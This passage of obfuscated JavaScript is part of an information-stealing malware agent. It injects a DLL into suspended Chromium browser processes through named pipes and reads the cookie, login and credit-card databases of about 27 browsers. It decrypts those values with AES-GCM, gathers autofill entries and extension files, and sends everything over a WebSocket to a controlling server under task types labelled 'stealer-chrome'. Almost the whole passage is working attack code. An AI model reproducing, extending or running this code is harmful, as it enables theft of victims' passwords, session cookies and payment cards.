| if (!_0x11c3["includes"]("__FILE_START__")) return null; | |
| let _0x2f2f4e5 = "", | |
| _0x2fc0a3 = "", | |
| _0x386 = "", | |
| _0x225d3 = 0, | |
| _0x5abca4 = "", | |
| _0xcf7f4 = ![]; | |
| for (const _0xd39d10 of _0x11c3["split"]("\n")) { | |
| if (_0xd39d10["startsWith"]("BROWSER:")) _0x2f2f4e5 = _0xd39d10["substring"](8); | |
| else { | |
| if (_0xd39d10["startsWith"]("PROFILE:")) _0x2fc0a3 = _0xd39d10["substring"](8); | |
| else { | |
| if (_0xd39d10["startsWith"]("TYPE:")) _0x386 = _0xd39d10["substring"](5); | |
| else { | |
| if (_0xd39d10["startsWith"]("COUNT:")) _0x225d3 = parseInt(_0xd39d10["substring"](6)) || 0; | |
| else { | |
| if (_0xd39d10 === "__JSON_START__") _0xcf7f4 = !![]; | |
| else { | |
| if (_0xd39d10 === "__JSON_END__") _0xcf7f4 = ![]; | |
| else _0xcf7f4 && (_0x5abca4 += _0xd39d10 + "\n"); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| if (_0x2f2f4e5 && _0x5abca4) return { | |
| "browser": _0x2f2f4e5, | |
| "profile": _0x2fc0a3, | |
| "fileType": _0x386, | |
| "count": _0x225d3, | |
| "jsonData": _0x5abca4 | |
| }; | |
| return null; | |
| } | |
| function isPipeConnected(_0x1ec71e3) { | |
| const _0x5104e = potato; | |
| if (!kernel325) return ![]; | |
| const _0x5f141a3 = new Uint8Array(4), | |
| _0x3a8d2 = kernel325["symbols"]["PeekNamedPipe"](_0x1ec71e3, null, 0, null, Deno["UnsafePointer"]["of"](_0x5f141a3), null); | |
| return _0x3a8d2 !== 0; | |
| } | |
| function relayMessages(_0x54d0ee5, _0x11a2) { | |
| const _0x40b93e2 = potato; | |
| if (!kernel325) return []; | |
| const _0x380a2 = Date["now"](), | |
| _0x38e4 = []; | |
| let _0x4415d7 = [], | |
| _0x1f9 = "", | |
| _0x6b17c9 = null; | |
| console["log"]("[ChromeV20] Waiting for DLL execution..."); | |
| while (Date["now"]() - _0x380a2 < DLL_TIMEOUT_MS) { | |
| if (!isProcessAlive(_0x11a2)) { | |
| console["log"]("[ChromeV20] Browser process died unexpectedly, stopping relay"); | |
| break; | |
| } | |
| if (!isPipeConnected(_0x54d0ee5)) { | |
| console["log"]("[ChromeV20] Pipe disconnected, DLL execution completed"); | |
| break; | |
| } | |
| if (_0x6b17c9 !== null) { | |
| if (Date["now"]() - _0x6b17c9 > DRAIN_TIME_MS) break; | |
| } | |
| const _0xeeb1f3 = new Uint8Array(4), | |
| _0x4b731f3 = kernel325["symbols"]["PeekNamedPipe"](_0x54d0ee5, null, 0, null, Deno["UnsafePointer"]["of"](_0xeeb1f3), null); | |
| if (_0x4b731f3 === 0) { | |
| if (_0x6b17c9 !== null) break; | |
| kernel325["symbols"]["Sleep"](100); | |
| continue; | |
| } | |
| const _0x1c0e8e3 = new DataView(_0xeeb1f3["buffer"])["getUint32"](0, !![]); | |
| if (_0x1c0e8e3 === 0) { | |
| kernel325["symbols"]["Sleep"](100); | |
| continue; | |
| } | |
| const _0x4f7f4 = new Uint8Array(65536), | |
| _0x38516a4 = new Uint8Array(4), | |
| _0x388 = kernel325["symbols"]["ReadFile"](_0x54d0ee5, Deno["UnsafePointer"]["of"](_0x4f7f4), _0x4f7f4["length"], Deno["UnsafePointer"]["of"](_0x38516a4), null); | |
| if (_0x388 === 0) { | |
| const _0x3c47ce3 = kernel325["symbols"]["GetLastError"](); | |
| if (_0x3c47ce3 === 109) { | |
| console["log"]("[ChromeV20] Pipe broken, DLL execution completed"); | |
| break; | |
| } | |
| if (_0x6b17c9 !== null) break; | |
| kernel325["symbols"]["Sleep"](100); | |
| continue; | |
| } | |
| const _0x391 = new DataView(_0x38516a4["buffer"])["getUint32"](0, !![]); | |
| if (_0x391 === 0) { | |
| if (_0x6b17c9 !== null) break; | |
| continue; | |
| } | |
| for (let _0x41a6e4 = 0; _0x41a6e4 < _0x391; _0x41a6e4++) { | |
| _0x4415d7["push"](_0x4f7f4[_0x41a6e4]); | |
| } | |
| let _0x3cec4 = 0; | |
| for (let _0x49a7db7 = 0; _0x49a7db7 < _0x4415d7["length"]; _0x49a7db7++) { | |
| if (_0x4415d7[_0x49a7db7] === 0) { | |
| const _0x2ffbb2 = _0x4415d7["slice"](_0x3cec4, _0x49a7db7), | |
| _0x29ed12 = new TextDecoder()["decode"](new Uint8Array(_0x2ffbb2)); | |
| _0x3cec4 = _0x49a7db7 + 1; | |
| if (_0x29ed12 === COMPLETION_SIGNAL) { | |
| console["log"]("[ChromeV20] Completion signal received"); | |
| _0x6b17c9 === null && (_0x6b17c9 = Date["now"]()); | |
| continue; | |
| } | |
| if (_0x29ed12["includes"]("__FILE_START__") || _0x29ed12["includes"]("__FILE_END__") || _0x29ed12["includes"]("__JSON_START__") || _0x29ed12["includes"]("__JSON_END__") || _0x29ed12["startsWith"]("BROWSER:") || _0x29ed12["startsWith"]("PROFILE:") || _0x29ed12["startsWith"]("TYPE:") || _0x29ed12["startsWith"]("COUNT:") || _0x1f9["length"] > 0) { | |
| _0x1f9 += _0x29ed12 + "\n"; | |
| if (_0x29ed12["includes"]("__FILE_END__")) { | |
| const _0x16105d8 = parseFileData(_0x1f9); | |
| _0x16105d8 && (console["log"]("[ChromeV20] Parsed file: " + _0x16105d8["browser"] + "/" + _0x16105d8["profile"] + "/" + _0x16105d8["fileType"] + " (" + _0x16105d8["count"] + " entries)"), _0x38e4["push"](_0x16105d8)), _0x1f9 = ""; | |
| } | |
| continue; | |
| } | |
| _0x29ed12["length"] > 0 && console["log"]("[ChromeV20] DLL: " + _0x29ed12); | |
| } | |
| } | |
| _0x4415d7 = _0x4415d7["slice"](_0x3cec4); | |
| } | |
| return console["log"]("[ChromeV20] Received " + _0x38e4["length"] + " file(s)"), _0x38e4; | |
| } | |
| async function sendExtractedData(_0x1a776a12, _0x3414e8, _0x393) { | |
| const _0x71506c2 = potato; | |
| for (const _0x46b2cd11 of _0x393) { | |
| try { | |
| const _0x415 = JSON["parse"](_0x46b2cd11["jsonData"]["trim"]()); | |
| if (_0x46b2cd11["fileType"] === "cookies" && Array["isArray"](_0x415)) { | |
| const _0x3fe2f2 = { | |
| "huidMd5": _0x1a776a12["huidMd5"], | |
| "token": _0x1a776a12["token"], | |
| "taskOutputs": [{ | |
| "id": _0x1a776a12["taskId"], | |
| "type": "stealer-chrome", | |
| "status": "completed", | |
| "browser": _0x3414e8, | |
| "profile": _0x46b2cd11["profile"] || "Default", | |
| "dataType": "cookies", | |
| "data": _0x415["map"](_0x408 => ({ | |
| "host": _0x408["host"] || _0x408["domain"] || "", | |
| "name": _0x408["name"] || "", | |
| "value": _0x408["value"] || "", | |
| "path": _0x408["path"] || "/", | |
| "expires_utc": _0x408["expires"] || _0x408["expirationDate"] || 0, | |
| "is_secure": _0x408["secure"] || _0x408["isSecure"] || ![], | |
| "is_httponly": _0x408["httpOnly"] || _0x408["isHttpOnly"] || ![] | |
| })) | |
| }] | |
| }; | |
| try { | |
| _0x1a776a12["ws"]["send"](await serizalizeCommandFromAgent(_0x3fe2f2)), console["log"]("[ChromeV20] Sent " + _0x415["length"] + " cookies for " + _0x3414e8 + "/" + _0x46b2cd11["profile"]); | |
| } catch (_0x3d8) { | |
| console["error"]("[ChromeV20] Failed to send cookies: WebSocket error", _0x3d8); | |
| } | |
| } else { | |
| if (_0x46b2cd11["fileType"] === "passwords" && Array["isArray"](_0x415)) { | |
| const _0x440d8a3 = { | |
| "huidMd5": _0x1a776a12["huidMd5"], | |
| "token": _0x1a776a12["token"], | |
| "taskOutputs": [{ | |
| "id": _0x1a776a12["taskId"], | |
| "type": "stealer-chrome", | |
| "status": "completed", | |
| "browser": _0x3414e8, | |
| "profile": _0x46b2cd11["profile"] || "Default", | |
| "dataType": "passwords", | |
| "data": _0x415["map"](_0x1236a8 => ({ | |
| "url": _0x1236a8["url"] || _0x1236a8["origin_url"] || "", | |
| "username": _0x1236a8["username"] || _0x1236a8["username_value"] || "", | |
| "password": _0x1236a8["password"] || _0x1236a8["password_value"] || "" | |
| })) | |
| }] | |
| }; | |
| try { | |
| _0x1a776a12["ws"]["send"](await serizalizeCommandFromAgent(_0x440d8a3)), console["log"]("[ChromeV20] Sent " + _0x415["length"] + " passwords for " + _0x3414e8 + "/" + _0x46b2cd11["profile"]); | |
| } catch (_0x31f2) { | |
| console["error"]("[ChromeV20] Failed to send passwords: WebSocket error", _0x31f2); | |
| } | |
| } else { | |
| if (_0x46b2cd11["fileType"] === "payments" && Array["isArray"](_0x415)) { | |
| const _0x30bb2 = { | |
| "huidMd5": _0x1a776a12["huidMd5"], | |
| "token": _0x1a776a12["token"], | |
| "taskOutputs": [{ | |
| "id": _0x1a776a12["taskId"], | |
| "type": "stealer-chrome", | |
| "status": "completed", | |
| "browser": _0x3414e8, | |
| "profile": _0x46b2cd11["profile"] || "Default", | |
| "dataType": "creditcards", | |
| "data": _0x415["map"](_0x2aa80c0 => ({ | |
| "name_on_card": _0x2aa80c0["name_on_card"] || _0x2aa80c0["name"] || "", | |
| "card_number": _0x2aa80c0["card_number"] || _0x2aa80c0["number"] || "", | |
| "expiration_month": _0x2aa80c0["expiration_month"] || _0x2aa80c0["exp_month"] || 0, | |
| "expiration_year": _0x2aa80c0["expiration_year"] || _0x2aa80c0["exp_year"] || 0 | |
| })) | |
| }] | |
| }; | |
| try { | |
| _0x1a776a12["ws"]["send"](await serizalizeCommandFromAgent(_0x30bb2)), console["log"]("[ChromeV20] Sent " + _0x415["length"] + " credit cards for " + _0x3414e8 + "/" + _0x46b2cd11["profile"]); | |
| } catch (_0x4b1) { | |
| console["error"]("[ChromeV20] Failed to send credit cards: WebSocket error", _0x4b1); | |
| } | |
| } | |
| } | |
| } | |
| } catch (_0x240b2) { | |
| console["error"]("[ChromeV20] Failed to parse/send " + _0x46b2cd11["fileType"] + ":", _0x240b2); | |
| } | |
| } | |
| } | |
| async function processBrowser(_0x4e2de5, _0x968d2, _0x232dc2, _0x1b072f3) { | |
| const _0x2e1d = potato; | |
| console["log"]("\n[ChromeV20] Processing " + _0x4e2de5["displayName"] + "..."), console["log"]("====================================="); | |
| if (!kernel325) { | |
| console["error"]("[ChromeV20] FFI not initialized"); | |
| return; | |
| } | |
| const _0x10ec3a5 = generatePipeName(_0x4e2de5["name"]); | |
| console["log"]("[ChromeV20] Using pipe: " + _0x10ec3a5); | |
| const _0x10b5 = toWideString2(_0x10ec3a5), | |
| _0x3b22e11 = kernel325["symbols"]["CreateNamedPipeW"](Deno["UnsafePointer"]["of"](_0x10b5), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 65536, 65536, 0, null); | |
| if (!_0x3b22e11 || Deno["UnsafePointer"]["value"](_0x3b22e11) === 0x0n) { | |
| console["error"]("[ChromeV20] Failed to create named pipe"); | |
| return; | |
| } | |
| console["log"]("[ChromeV20] Named pipe created"); | |
| const _0x2f12 = createSuspendedProcess(_0x968d2); | |
| if (!_0x2f12) { | |
| kernel325["symbols"]["CloseHandle"](_0x3b22e11); | |
| return; | |
| } | |
| const _0x228bc2 = injectDll(_0x2f12["hProcess"], _0x10ec3a5, _0x232dc2); | |
| if (!_0x228bc2) { | |
| console["error"]("[ChromeV20] DLL injection failed"), kernel325["symbols"]["TerminateProcess"](_0x2f12["hProcess"], 1), kernel325["symbols"]["CloseHandle"](_0x2f12["hThread"]), kernel325["symbols"]["CloseHandle"](_0x2f12["hProcess"]), kernel325["symbols"]["CloseHandle"](_0x3b22e11); | |
| return; | |
| } | |
| console["log"]("[ChromeV20] DLL injection successful"), console["log"]("[ChromeV20] Waiting for DLL to connect..."); | |
| const _0x50ac2 = kernel325["symbols"]["ConnectNamedPipe"](_0x3b22e11, null); | |
| if (_0x50ac2 === 0) { | |
| const _0xea0eea4 = kernel325["symbols"]["GetLastError"](); | |
| if (_0xea0eea4 !== 535) { | |
| console["error"]("[ChromeV20] Failed to connect pipe: " + _0xea0eea4), kernel325["symbols"]["TerminateProcess"](_0x2f12["hProcess"], 1), kernel325["symbols"]["CloseHandle"](_0x2f12["hThread"]), kernel325["symbols"]["CloseHandle"](_0x2f12["hProcess"]), kernel325["symbols"]["CloseHandle"](_0x3b22e11); | |
| return; | |
| } | |
| } | |
| console["log"]("[ChromeV20] DLL connected"), kernel325["symbols"]["Sleep"](200), writeToPipe(_0x3b22e11, "VERBOSE_FALSE"), kernel325["symbols"]["Sleep"](10), writeToPipe(_0x3b22e11, "FINGERPRINT_FALSE"), kernel325["symbols"]["Sleep"](10), writeToPipe(_0x3b22e11, "C:\\dummy"), kernel325["symbols"]["Sleep"](10); | |
| const _0x51c7a2 = relayMessages(_0x3b22e11, _0x2f12["hProcess"]); | |
| await sendExtractedData(_0x1b072f3, _0x4e2de5["name"], _0x51c7a2), console["log"]("[ChromeV20] Terminating browser process..."), kernel325["symbols"]["TerminateProcess"](_0x2f12["hProcess"], 0), kernel325["symbols"]["WaitForSingleObject"](_0x2f12["hProcess"], 2000), kernel325["symbols"]["CloseHandle"](_0x2f12["hThread"]), kernel325["symbols"]["CloseHandle"](_0x2f12["hProcess"]), kernel325["symbols"]["CloseHandle"](_0x3b22e11), console["log"]("[ChromeV20] " + _0x4e2de5["displayName"] + " processing completed"); | |
| } | |
| async function grabChromeV20(_0x791cbe3, _0xdbdca5) { | |
| const _0x5b0a = potato; | |
| console["log"]("[ChromeV20] Starting Chrome v20 collection..."); | |
| if (!_0xdbdca5 || _0xdbdca5["length"] === 0) { | |
| console["log"]("[ChromeV20] No DLL provided, skipping"); | |
| return; | |
| } | |
| console["log"]("[ChromeV20] DLL size: " + _0xdbdca5["length"] + " bytes"), initFFI2(); | |
| if (!kernel325) { | |
| console["error"]("[ChromeV20] Failed to initialize FFI"); | |
| return; | |
| } | |
| const _0x4747cb4 = findInstalledBrowsers(); | |
| if (_0x4747cb4["length"] === 0) { | |
| console["log"]("[ChromeV20] No supported browsers found"); | |
| return; | |
| } | |
| for (const [_0x5e85b3, _0x35e97a3] of _0x4747cb4) { | |
| try { | |
| await processBrowser(_0x5e85b3, _0x35e97a3, _0xdbdca5, _0x791cbe3); | |
| } catch (_0x4c4) { | |
| console["error"]("[ChromeV20] Failed to process " + _0x5e85b3["displayName"] + ":", _0x4c4); | |
| } | |
| } | |
| console["log"]("[ChromeV20] Collection completed"); | |
| } | |
| var import_node_buffer5 = require("node:buffer"), | |
| import_node_fs3 = require("node:fs"), | |
| import_node_path3 = __toESM(require("node:path")), | |
| import_node_process4 = __toESM(require("node:process")), | |
| CHROMIUM_BROWSERS = [{ | |
| "name": "chrome", | |
| "path": "%LOCALAPPDATA%\\Google\\Chrome\\User Data" | |
| }, { | |
| "name": "chromesxs", | |
| "path": "%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data" | |
| }, { | |
| "name": "chromium", | |
| "path": "%LOCALAPPDATA%\\Chromium\\User Data" | |
| }, { | |
| "name": "brave", | |
| "path": "%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data" | |
| }, { | |
| "name": "edge", | |
| "path": "%LOCALAPPDATA%\\Microsoft\\Edge\\User Data" | |
| }, { | |
| "name": "yandex", | |
| "path": "%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data" | |
| }, { | |
| "name": "opera", | |
| "path": "%APPDATA%\\Opera Software\\Opera Stable" | |
| }, { | |
| "name": "operagx", | |
| "path": "%APPDATA%\\Opera Software\\Opera GX Stable" | |
| }, { | |
| "name": "vivaldi", | |
| "path": "%LOCALAPPDATA%\\Vivaldi\\User Data" | |
| }, { | |
| "name": "amigo", | |
| "path": "%APPDATA%\\Amigo\\User Data" | |
| }, { | |
| "name": "torch", | |
| "path": "%APPDATA%\\Torch\\User Data" | |
| }, { | |
| "name": "kometa", | |
| "path": "%APPDATA%\\Kometa\\User Data" | |
| }, { | |
| "name": "orbitum", | |
| "path": "%APPDATA%\\Orbitum\\User Data" | |
| }, { | |
| "name": "centbrowser", | |
| "path": "%APPDATA%\\CentBrowser\\User Data" | |
| }, { | |
| "name": "7star", | |
| "path": "%APPDATA%\\7Star\\7Star\\User Data" | |
| }, { | |
| "name": "sputnik", | |
| "path": "%APPDATA%\\Sputnik\\Sputnik\\User Data" | |
| }, { | |
| "name": "epic", | |
| "path": "%APPDATA%\\Epic Privacy Browser\\User Data" | |
| }, { | |
| "name": "uran", | |
| "path": "%APPDATA%\\uCozMedia\\Uran\\User Data" | |
| }, { | |
| "name": "iridium", | |
| "path": "%LOCALAPPDATA%\\Iridium\\User Data" | |
| }, { | |
| "name": "comododragon", | |
| "path": "%LOCALAPPDATA%\\Comodo\\Dragon\\User Data" | |
| }, { | |
| "name": "360browser", | |
| "path": "%LOCALAPPDATA%\\360Browser\\Browser\\User Data" | |
| }, { | |
| "name": "maxthon", | |
| "path": "%LOCALAPPDATA%\\Maxthon3\\User Data" | |
| }, { | |
| "name": "k-melon", | |
| "path": "%LOCALAPPDATA%\\K-Melon\\User Data" | |
| }, { | |
| "name": "suhba", | |
| "path": "%LOCALAPPDATA%\\Suhba\\User Data" | |
| }, { | |
| "name": "nichrome", | |
| "path": "%LOCALAPPDATA%\\Nichrome\\User Data" | |
| }, { | |
| "name": "coccoc", | |
| "path": "%LOCALAPPDATA%\\CocCoc\\Browser\\User Data" | |
| }, { | |
| "name": "chromodo", | |
| "path": "%LOCALAPPDATA%\\Chromodo\\User Data" | |
| }]; | |
| function expandPath2(_0xd7a27e3) { | |
| const _0x1c730c2 = potato, | |
| _0xefd2 = import_node_process4["default"]["env"]["LOCALAPPDATA"] || "", | |
| _0x1fe2 = import_node_process4["default"]["env"]["APPDATA"] || ""; | |
| return _0xd7a27e3["replace"](/%LOCALAPPDATA%/g, _0xefd2)["replace"](/%APPDATA%/g, _0x1fe2); | |
| } | |
| async function findProfiles(_0x419) { | |
| const _0x417 = potato, | |
| _0x1339e4 = []; | |
| try { | |
| const _0x59e90b3 = import_node_path3["default"]["join"](_0x419, "Default"); | |
| try { | |
| await import_node_fs3["promises"]["access"](_0x59e90b3), _0x1339e4["push"]("Default"); | |
| } catch {} | |
| for (let _0x4448fd5 = 1; _0x4448fd5 <= 20; _0x4448fd5++) { | |
| const _0x59f55a4 = "Profile " + _0x4448fd5, | |
| _0x14916b3 = import_node_path3["default"]["join"](_0x419, _0x59f55a4); | |
| try { | |
| await import_node_fs3["promises"]["access"](_0x14916b3), _0x1339e4["push"](_0x59f55a4); | |
| } catch {} | |
| } | |
| } catch {} | |
| return _0x1339e4; | |
| } | |
| async function decryptAesGcm(_0x286e7, _0x12f8f3) { | |
| const _0x3b66cf2 = potato; | |
| if (_0x286e7["length"] < 3) return console["log"]("[Chrome] Encrypted value too short: " + _0x286e7["length"] + " bytes"), null; | |
| const _0xea3 = _0x286e7["subarray"](0, 3), | |
| _0x39928a5 = import_node_buffer5["Buffer"]["from"](_0xea3)["toString"](); | |
| if (_0x39928a5 !== "v10" && _0x39928a5 !== "v11") return console["log"]("[Chrome] Invalid prefix: \"" + _0x39928a5 + "\" (hex: " + import_node_buffer5["Buffer"]["from"](_0xea3)["toString"]("hex") + "), expected \"v10\" or \"v11\""), null; | |
| if (_0x286e7["length"] < 3 + 12 + 16) return null; | |
| try { | |
| const _0x1c18 = _0x286e7["subarray"](3, 15), | |
| _0x3bf45a4 = _0x286e7["subarray"](15), | |
| _0x5ab3 = new ArrayBuffer(_0x12f8f3["length"]); | |
| new Uint8Array(_0x5ab3)["set"](_0x12f8f3); | |
| const _0x5acaf4 = new ArrayBuffer(_0x1c18["length"]); | |
| new Uint8Array(_0x5acaf4)["set"](_0x1c18); | |
| const _0x1818d4 = new ArrayBuffer(_0x3bf45a4["length"]); | |
| new Uint8Array(_0x1818d4)["set"](_0x3bf45a4); | |
| const _0x7c42b2 = await crypto["subtle"]["importKey"]("raw", _0x5ab3, { | |
| "name": "AES-GCM" | |
| }, ![], ["decrypt"]), | |
| _0x1b20 = await crypto["subtle"]["decrypt"]({ | |
| "name": "AES-GCM", | |
| "iv": _0x5acaf4 | |
| }, _0x7c42b2, _0x1818d4), | |
| _0x18f9 = new Uint8Array(_0x1b20); | |
| let _0x437 = 0, | |
| _0x434 = 0; | |
| for (let _0x433 = 0; _0x433 < _0x18f9["length"]; _0x433++) { | |
| let _0x10f0dd6 = 0, | |
| _0x5d4c5f4 = ![]; | |
| for (let _0x10c3e4 = _0x433; _0x10c3e4 < Math["min"](_0x18f9["length"], _0x433 + 20); _0x10c3e4++) { | |
| const _0x429 = _0x18f9[_0x10c3e4]; | |
| if (_0x429 >= 32 && _0x429 <= 126) _0x10f0dd6++; | |
| else { | |
| _0x5d4c5f4 = !![]; | |
| break; | |
| } | |
| }!_0x5d4c5f4 && _0x10f0dd6 >= 5 && _0x10f0dd6 > _0x434 && (_0x434 = _0x10f0dd6, _0x437 = _0x433); | |
| if (_0x434 >= 15) break; | |
| } | |
| const _0x14431a3 = _0x437 > 0 && _0x437 < _0x18f9["length"] ? _0x18f9["subarray"](_0x437) : _0x18f9, | |
| _0x26260b3 = new TextDecoder("utf-8", { | |
| "fatal": !![] | |
| }); | |
| try { | |
| const _0x34f2fc7 = _0x26260b3["decode"](_0x14431a3); | |
| if (_0x34f2fc7["length"] === 0) return null; | |
| let _0x5d3d7e4 = 0; | |
| for (const _0x37498e3 of _0x34f2fc7) { | |
| const _0x81bf6 = _0x37498e3["charCodeAt"](0); | |
| (_0x81bf6 >= 32 && _0x81bf6 <= 126 || _0x81bf6 === 9 || _0x81bf6 === 10 || _0x81bf6 === 13) && _0x5d3d7e4++; | |
| } | |
| if (_0x34f2fc7["length"] < 3 || _0x5d3d7e4 / _0x34f2fc7["length"] < 0.8) return null; | |
| return _0x34f2fc7; | |
| } catch { | |
| return null; | |
| } | |
| } catch (_0x21aba2) { | |
| return console["error"]("[Chrome] Decryption error:", _0x21aba2), null; | |
| } | |
| } | |
| async function extractCookies(_0x4da80b3, _0x30c2, _0x28ed9a3) { | |
| const _0x345b5f2 = potato, | |
| _0x440 = []; | |
| try { | |
| const _0x3d68e3 = new _0x4da80b3(_0x30c2, { | |
| "readonly": !![] | |
| }), | |
| _0x6e909b3 = _0x3d68e3["prepare"]("SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies")["all"](); | |
| for (const _0x39ec4c3 of _0x6e909b3) { | |
| const _0x4a37cc1 = _0x39ec4c3; | |
| if (!_0x4a37cc1["host_key"] || !_0x4a37cc1["name"]) continue; | |
| const _0x26150b5 = _0x4a37cc1["encrypted_value"]; | |
| if (!_0x26150b5 || _0x26150b5["length"] === 0) continue; | |
| const _0x29a6 = await decryptAesGcm(_0x26150b5, _0x28ed9a3); | |
| if (!_0x29a6 || _0x29a6["length"] === 0) continue; | |
| _0x440["push"]({ | |
| "host": _0x4a37cc1["host_key"], | |
| "name": _0x4a37cc1["name"], | |
| "value": _0x29a6, | |
| "path": _0x4a37cc1["path"] || "/", | |
| "expires_utc": _0x4a37cc1["expires_utc"] || 0, | |
| "is_secure": Boolean(_0x4a37cc1["is_secure"]), | |
| "is_httponly": Boolean(_0x4a37cc1["is_httponly"]) | |
| }); | |
| } | |
| _0x3d68e3["close"](); | |
| } catch (_0x4f04f2) { | |
| console["error"]("[Chrome] Error extracting cookies:", _0x4f04f2); | |
| } | |
| return _0x440; | |
| } | |
| async function extractPasswords(_0x2de2, _0x442, _0x5f023d3) { | |
| const _0x4a0ef = potato, | |
| _0x37fcb4 = []; | |
| try { | |
| const _0x294e7f4 = new _0x2de2(_0x442, { | |
| "readonly": !![] | |
| }), | |
| _0x37d3 = _0x294e7f4["prepare"]("SELECT origin_url, username_value, password_value FROM logins")["all"](); | |
| console["log"]("[Chrome] Found " + _0x37d3["length"] + " password entries in database"); | |
| let _0x2bd3 = 0, | |
| _0x3b4 = 0, | |
| _0x4d7b3 = 0; | |
| for (const _0x81a2 of _0x37d3) { | |
| const _0x2c08fd5 = _0x81a2, | |
| _0x3ac4 = _0x2c08fd5["origin_url"] || "", | |
| _0x5165f2 = _0x2c08fd5["username_value"] || ""; | |
| if (!_0x3ac4) { | |
| _0x3b4++; | |
| continue; | |
| } | |
| const _0x338d5f7 = _0x2c08fd5["password_value"]; | |
| if (!_0x338d5f7 || _0x338d5f7["length"] === 0) { | |
| _0x3b4++; | |
| continue; | |
| } | |
| if (_0x37fcb4["length"] === 0) { | |
| const _0x445 = import_node_buffer5["Buffer"]["from"](_0x338d5f7["subarray"](0, Math["min"](10, _0x338d5f7["length"]))); | |
| console["log"]("[Chrome] First password encrypted prefix: " + _0x445["toString"]("hex") + " (" + _0x445["toString"]() + ")"); | |
| } | |
| const _0x449 = await decryptAesGcm(_0x338d5f7, _0x5f023d3); | |
| if (!_0x449 || _0x449["length"] === 0) { | |
| _0x4d7b3++; | |
| continue; | |
| } | |
| _0x2bd3++, _0x37fcb4["push"]({ | |
| "url": _0x3ac4, | |
| "username": _0x5165f2, | |
| "password": _0x449 | |
| }); | |
| } | |
| console["log"]("[Chrome] Password extraction stats: " + _0x2bd3 + " decrypted, " + _0x3b4 + " skipped, " + _0x4d7b3 + " failed"), _0x294e7f4["close"](); | |
| } catch (_0x451c4f3) { | |
| console["error"]("[Chrome] Error extracting passwords:", _0x451c4f3); | |
| } | |
| return _0x37fcb4; | |
| } | |
| function extractAutofills(_0x52b2, _0x497c2) { | |
| const _0x1ed = potato, | |
| _0x3272c3 = []; | |
| try { | |
| const _0x6dc7c3 = new _0x52b2(_0x497c2, { | |
| "readonly": !![] | |
| }), | |
| _0x1a6 = _0x6dc7c3["prepare"]("SELECT name, value, count FROM autofill")["all"](); | |
| for (const _0x55f2 of _0x1a6) { | |
| const _0x3c225f5 = _0x55f2, | |
| _0x114f6e4 = _0x3c225f5["name"] || "", | |
| _0x746f7d4 = _0x3c225f5["value"] || "", | |
| _0x312e2 = _0x3c225f5["count"] || 0; | |
| if (!_0x114f6e4 || !_0x746f7d4) continue; | |
| _0x3272c3["push"]({ | |
| "name": _0x114f6e4, | |
| "value": _0x746f7d4, | |
| "count": _0x312e2 | |
| }); | |
| } | |
| _0x6dc7c3["close"](); | |
| } catch (_0x451) { | |
| console["error"]("[Chrome] Error extracting autofills:", _0x451); | |
| } | |
| return _0x3272c3; | |
| } | |
| async function extractCreditCards(_0x453, _0x58eec2, _0x5f3be2) { | |
| const _0x697cb = potato, | |
| _0x2a9 = []; | |
| try { | |
| const _0x505d3 = new _0x453(_0x58eec2, { | |
| "readonly": !![] | |
| }), | |
| _0x455 = _0x505d3["prepare"]("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards")["all"](); | |
| for (const _0x40aba2 of _0x455) { | |
| const _0x41fc8a6 = _0x40aba2, | |
| _0x5d7d2 = _0x41fc8a6["name_on_card"] || "", | |
| _0x44d5 = _0x41fc8a6["expiration_month"] || 0, | |
| _0x84374a3 = _0x41fc8a6["expiration_year"] || 0, | |
| _0x59bb4 = _0x41fc8a6["card_number_encrypted"]; | |
| if (!_0x59bb4 || _0x59bb4["length"] === 0) continue; | |
| const _0x1ca4 = await decryptAesGcm(_0x59bb4, _0x5f3be2); | |
| if (!_0x1ca4 || _0x1ca4["length"] === 0) continue; | |
| _0x2a9["push"]({ | |
| "name_on_card": _0x5d7d2, | |
| "expiration_month": _0x44d5, | |
| "expiration_year": _0x84374a3, | |
| "card_number": _0x1ca4 | |
| }); | |
| } | |
| _0x505d3["close"](); | |
| } catch (_0x457) { | |
| console["error"]("[Chrome] Error extracting credit cards:", _0x457); | |
| } | |
| return _0x2a9; | |
| } | |
| async function sendChromeData(_0x3374cb6, _0x32cec2, _0x454a2, _0x567e2, _0x6c25c3) { | |
| const _0x1c7e = potato; | |
| if (_0x6c25c3["length"] === 0) return; | |
| const _0x7160ad3 = { | |
| "huidMd5": _0x3374cb6["huidMd5"], | |
| "token": _0x3374cb6["token"], | |
| "taskOutputs": [{ | |
| "id": _0x3374cb6["taskId"], | |
| "type": "stealer-chrome", | |
| "status": "completed", | |
| "browser": _0x32cec2, | |
| "profile": _0x454a2, | |
| "dataType": _0x567e2, | |
| "data": _0x6c25c3 | |
| }] | |
| }, | |
| _0x480aa2 = await serizalizeCommandFromAgent(_0x7160ad3); | |
| try { | |
| _0x3374cb6["ws"]["send"](_0x480aa2); | |
| } catch (_0xcb93e2) { | |
| console["error"]("[Chrome] Failed to send data: WebSocket error", _0xcb93e2); | |
| } | |
| } | |
| async function sendExtensionFile(_0x42e5, _0x5e28e2, _0x4184f3, _0x4139e2, _0x167dad3, _0x2af3) { | |
| const _0xd2de4e2 = potato, | |
| _0x1a310f3 = { | |
| "huidMd5": _0x42e5["huidMd5"], | |
| "token": _0x42e5["token"], | |
| "taskOutputs": [{ | |
| "id": _0x42e5["taskId"], | |
| "type": "stealer-extension-file", | |
| "status": "completed", | |
| "browser": _0x5e28e2, | |
| "profile": _0x4184f3, | |
| "extensionName": _0x4139e2, | |
| "filename": _0x167dad3, | |
| "data": _0x2af3, | |
| "size": _0x2af3["length"] | |
| }] | |
| }, | |
| _0x11a1a2 = await serizalizeCommandFromAgent(_0x1a310f3); | |
| try { | |
| _0x42e5["ws"]["send"](_0x11a1a2); | |
| } catch (_0x4f36eb3) { | |
| console["error"]("[Chrome] Failed to send data: WebSocket error", _0x4f36eb3); | |
| } | |
| } | |
| function getExtensionMap() { | |
| const _0x4cc3fd2 = potato, | |
| _0x3e9f64 = new Map(); | |
